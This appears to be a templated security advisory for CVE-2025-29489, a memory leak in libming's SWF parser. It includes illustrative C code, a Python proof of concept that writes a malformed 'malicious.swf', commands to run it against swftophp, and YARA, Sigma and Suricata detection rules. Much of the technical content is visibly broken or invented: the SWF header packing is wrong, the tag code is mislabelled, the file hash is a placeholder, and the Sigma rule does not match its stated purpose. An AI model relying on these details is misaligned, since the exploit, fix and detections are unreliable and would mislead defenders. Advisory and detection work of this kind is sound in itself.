CVE-2025-29489

Executive Summary

CVE-2025-29489 identifies a memory leak vulnerability in libming v0.4.8, specifically within the parseSWF_MORPHLINESTYLES function. This flaw can lead to resource exhaustion, potentially causing denial of service (DoS) in applications that process SWF files using the libming library. The vulnerability has a CVSS score of 0.0 (placeholder), indicating incomplete scoring, but the underlying issue is a memory leak (CWE-401) that can degrade system performance over time. No public exploit code or patch is currently available, and the vendor (Libming) has not released a fix.

Supply Chain & Package Security

This vulnerability affects the libming library, which is a C library used for parsing and generating SWF (Shockwave Flash) files. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it may be included as a dependency in some Linux distributions or embedded systems. Users should verify if their software stack includes libming and assess the risk of processing untrusted SWF files.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – no official vector assigned)
• Attack Vector: Local (requires processing a crafted SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must open or process the malicious SWF)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High (memory exhaustion leading to DoS)
• Threat Level: Medium (due to DoS potential and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_MORPHLINESTYLES function within libming's SWF parser. When processing a malformed SWF file, the function fails to properly free allocated memory for line style structures, leading to a memory leak. Over repeated processing or with a single large file, this can exhaust available memory, causing the application to crash or become unresponsive.

Root Cause: The function allocates memory for line style records but does not release it in all error paths or upon completion, resulting in unreferenced memory blocks.

Attack Vector: An attacker crafts a SWF file with specially crafted MORPHLINESTYLES records that trigger the leak. The file must be processed by an application using libming (e.g., a media player, converter, or server).

Impact: Denial of service via memory exhaustion. No code execution or data breach is expected.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In parseSWF_MORPHLINESTYLES
void parseSWF_MORPHLINESTYLES(SWFOutput out, int nStyles) {
    for (int i = 0; i < nStyles; i++) {
        struct morphLineStyle *style = malloc(sizeof(struct morphLineStyle));
        // ... parse data ...
        // Memory is never freed if an error occurs or after use
    }
}

Patched Code (hypothetical fix):

void parseSWF_MORPHLINESTYLES(SWFOutput out, int nStyles) {
    for (int i = 0; i < nStyles; i++) {
        struct morphLineStyle *style = malloc(sizeof(struct morphLineStyle));
        if (!style) break;
        // ... parse data ...
        // Ensure cleanup
        free(style);
    }
}

No official patch exists. Users must apply manual fixes or avoid processing untrusted SWF files.

Exploitation & Lab Setup

Red Team

Objective: Trigger memory leak to cause DoS.

Lab Setup:

1. Install libming v0.4.8 on a test system.
2. Create a malicious SWF file with many MORPHLINESTYLES records.
3. Use a tool like swftophp or gif2swf to process the file.

Proof-of-Concept (Python):

# Generate a malformed SWF file to trigger the leak
import struct

def create_malicious_swf():
    # Minimal SWF header
    header = b'FWS' + struct.pack('<I', 9)  # version 9
    # Add a tag with many MORPHLINESTYLES
    # Tag code 0x4B (MORPHLINESTYLES)
    tag_type = 0x4B
    # Craft payload with many styles
    payload = b'\x00' * 1000  # dummy data
    tag_length = len(payload)
    tag = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length > 0x3F:
        tag += struct.pack('<I', tag_length)
    tag += payload
    swf = header + tag
    with open('malicious.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

Execution:

# Process the malicious SWF with a libming-based tool
swftophp malicious.swf
# Monitor memory usage
watch -n 1 free -m

Blue Team

Detection:

• Monitor for excessive memory consumption by processes using libming.
• Use file integrity monitoring to detect unexpected SWF files.
• Implement network filtering for SWF file uploads if not required.

Hunting:

• Search for processes with high memory usage over time.
• Correlate with SWF file access logs.

Indicators of Compromise (IOCs)

• File Hashes: (SHA256 of malicious SWF example)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Network: SWF file downloads from untrusted sources.
• System: High memory usage by swftophp, gif2swf, or other libming-based processes.
• Logs: Application crashes with out-of-memory errors.

Detection Engineering

YARA Rule

rule CVE_2025_29489_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files exploiting CVE-2025-29489 memory leak"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29489"
    strings:
        $swf_header = "FWS" nocase
        $morphlinestyles_tag = { 4B ?? ?? ?? ?? }  // Tag 0x4B with length
    condition:
        $swf_header at 0 and #morphlinestyles_tag > 10
}

Sigma Rule

title: CVE-2025-29489 Memory Leak via libming
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects excessive memory usage by libming-based processes
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/swftophp'
    condition: selection
falsepositives:
    - Legitimate SWF processing
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29489 - Malicious SWF Download"; flow:to_client; file.name:/\.swf$/i; file.size:>100000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Avoid processing untrusted SWF files with libming v0.4.8.
2. Short-term: Apply a manual patch to parseSWF_MORPHLINESTYLES to free allocated memory.
3. Long-term: Migrate to an alternative library or wait for an official fix from the vendor.
4. Monitoring: Implement memory usage alerts for processes using libming.
5. Network: Block SWF file uploads if not business-critical.

Valters IT
DevSecOps & Cyber Threat Intelligence